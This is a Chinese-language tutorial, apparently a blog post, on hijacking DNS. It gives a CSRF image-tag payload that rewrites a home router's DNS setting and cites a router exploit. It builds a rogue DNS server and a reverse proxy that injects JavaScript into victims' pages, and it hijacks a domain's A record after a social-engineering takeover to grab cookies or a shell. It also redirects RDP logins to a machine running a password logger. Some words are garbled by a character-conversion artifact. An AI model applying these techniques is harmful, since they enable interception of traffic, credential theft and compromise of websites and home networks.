天天看點

我劫持你的dns

   這篇文章把Dns分為兩種,一種是主機或嵌入式裝置dns,一種是網站域名dns,來講述dns淪陷之後帶來的危害。

一:路由器dns劫持

   你本地的網絡連接配接的dns是通過路由器擷取的,假如有一天你家裡的路由被黑客入侵了,入侵者修改了你家裡路由器的dns,那麼他可以對你通路記錄非常清楚,如系在檔案,流量記錄。既然解析都通過dns,我們完全可以自建dns,來進行攻擊。

    1.路由器怎麼樣淪陷

         攻擊手法:csrf  路由器漏洞

        CSRF

         IE 出了一個安全更新檔,禁止了Http Authentication Url, 使用此方法在IE下攻擊是無效的 完美相容FF chrome。 https://support.microsoft.com/zh-cn/kb/834489

         <img src=http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=惡意的dns位址&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6></img>

        裝置漏洞

烽火通信某款路由器被爆存在漏洞-可遠端修改DNS

http://www.exploit-db.com/exploits/28450/

    2.自建dns(window)

     在這裡我使用微軟自家産,(完全可以用其他産品代替,個人習慣問題)

我劫持你的dns

        配置劫持域名

         myhack58.com

我劫持你的dns

        轉發器配置

             轉發器解決這台伺服器沒有應答的dns查詢請求, 如這台主機隻有myhack58.com, baidu.com等是不存在的,這種情況把會把baidu.com請求轉發到你配置的dns去解析。我配置解析的dns是8.8.8.8

我劫持你的dns

        配置劫持域名A記錄

            剛才dns填寫是跟域,這時候需要對A記錄進行解析,比如我劫持www.myhack58.com到本地127.0.0.1。

我劫持你的dns

            我這解析是vps的IP,測試可以寫127.0.0.1。但要用起來你解析寫公網ip位址,不然别人解析是127.0.0.1,127.0.0.1是你本地,找不到的位址,沒辦法跟反向代理代理配合。

我劫持你的dns

        測試dns是否配置成功

            可以使用dnslookup ping 等去測試

我劫持你的dns

            Dns已配置成功,雖然現在解析本地了,我本地難道就隻能挂個黑頁?當然不是,我的目的是要求是替換頁面的内容.比如插入js,修改某個文字等。

用戶端的配置

            由于我在公司沒有路由器,直接使用用戶端做測試,用戶端的dns擷取來源還是路由器。

我劫持你的dns

            這時候配置成功,你可以打開baidu.com來測試,是否可以解析,正常打開。

我劫持你的dns

    3.反向代理搭建

        反向代理來這裡啟到作用是,把dns解析www.myhack58.com的vps的這個請求代理到真實的解析。

        我們要做的事情 要給頁面插入一段js。

        Openresty介紹

            在這裡我們使用Openresty,Openresty是基于nginx,它打包了标準的 Nginx 核心,很多的常用的第三方子產品,nginx第三方子產品都需要編譯,在window下比較惡心 我直接找了一個Openresty_For_Windows,已打包我想要的是第三方子產品http_sub_module。

        下載下傳位址:

        https://github.com/LomoX-Offical/nginx-openresty-windows

        使用nginx  -V 檢視已支援的第三方子產品 

        http_sub_module缺點

            1.隻能使用一條規則

            2.不支援中文

        反向代理配置

            監聽端口vps的公網IP的80端口.當dns查詢請求解析到本地80的時候,80正好監聽vps公網ip,反向代理是myhack58.com。實際上vps公網ip是myhack58.com

         打開/conf/nginx.conf檔案進行配置

         使用了http_sub_module,替換了内容把

         </head>換成</head><script sec=safe.js></script>,我故意寫錯 寫成sec=

我劫持你的dns

        測試是否成功

            先前已經把dns設定過去了,現在也可以ping通,那我們就檢視源碼 是否替換了頁面内容。

我劫持你的dns

            配置其他功能

                現在dns加反向代理配置已經完成了,你可以替換他的頁面了

            Openresty配置反向代理,你要是需要其他的配置還可以設定很多參數,如proxy_cache proxy_header  proxy_send_timeout  proxy_read_timeout。取決于自己用途。

二:網站域名dns劫持

        當你通過社工拿到了某個域名權限, 但是你的目的是getshell,這時候你可以做反向代理,可以從兩方面下手去做。

    A記錄劫持示範

        直接修改域名劫持到A記錄的你的惡意反向代理,但是這時候反向代理必須有配置upstream,在upstream指定原域名解析的ip位址,路由器劫持dns沒有配置upstream 是因為上層的dns還可以解析到劫持域名的真實ip,而你這時候意見把A記錄解析修改到了你的惡意反向代理機器,不去指定解析的位址, 上層找到解析的位址還是惡意的反向代理,形成一個死循環,永遠打不開網站。

        域名A記錄劫持

        www.sanr.org  192.168.182.128

        反向代理      192.168.182.129

我劫持你的dns

        為什麼要劫持A記錄

            如你通過社工之類拿到了域名的控制權限,這時候你想擷取他的背景位址,或者cookie等你就需要這樣做。

            目前我已經控制sanr.org的域名解析權限,現在我們要做的是把www.sanr.org的A記錄解析到192.168.182.129。讓反向代理去通路真實的ip(也就是192.168.182.128),在反向代理的時候我們動手腳,插個js代碼進去。

        沒修改A記錄之前

我劫持你的dns

    修改域名A記錄

        修改域名到反向代理伺服器 192.168.182.129

我劫持你的dns

        反向代理伺服器搭建(192.168.182.129)

            綁定域名為www.sanr.org 端口80,并指定上遊(upstream)位址是192.168.182.128,必須指定上遊位址(upstream),隻有proxy_pass無upstream他會自動請求解析A記錄。

            路由器dns劫持那塊沒有用upstream是因為域名的A記錄的iP位址你可以通過proxy_pass擷取到。

            而現在域名A記錄解析是反向代理機器也就是本機(192.168.182.129),如不使用upstrema去指定真實的IP位址,proxy_pass直接去解析到的是本地IP,那麼就會造成死循環,一直解析的都是本機。

下面是反向代理配置檔案。

我劫持你的dns

        劫持成功

             成功的給sanr.org的植入safe.js代碼

我劫持你的dns

    dns劫持

        跟路由器劫持dns一樣,自建dns,之後把域名的dns解析配置的A記錄解析到惡意的反向代理,反向代理中還是要指定upstream,跟a記錄劫持一樣,不然造成死循環。 

       Dns服務 反向代理軟體有很多,完全取決于自己的習慣,用自己最喜歡的。

    Dns win

      WinMyDNS

      微軟自家

    Dns linux 

      dnschef   “msfconsole  auxiliary/server/fakedns”

      Powerdns bind 等 linux開源項目太多

    反向代理

     Squid  Varnish nginx 或者nginx 衍生版(Tengine  Openresty)

我劫持你的dns

    攻擊手法不僅僅是替換網頁内容 插入js,如劫持你路由器的dns, 連接配接3389也是輸入域名也是通過dns解析的,我完全可以把A記錄劫持我本地,連接配接3389是我本機的機器,之後安裝WinlogonHack,來記錄密碼,WinlogonHack需要改成即使是錯誤密碼也要記錄,不然記錄不到。

    把www.baidu.com解析到我vps主機的ip

我劫持你的dns

    Dns已生效,解析baidu.com也傳回是vps主機的ip

我劫持你的dns

    連接配接3389(其實這時候是我vps的IP)

我劫持你的dns

    隻要涉及到域名解析的 本地host  本地用戶端dns  路由器dns,都可以這樣去劫持,攻擊手法變化多樣,看你出自于什麼目地去做。

   doc文檔github下載下傳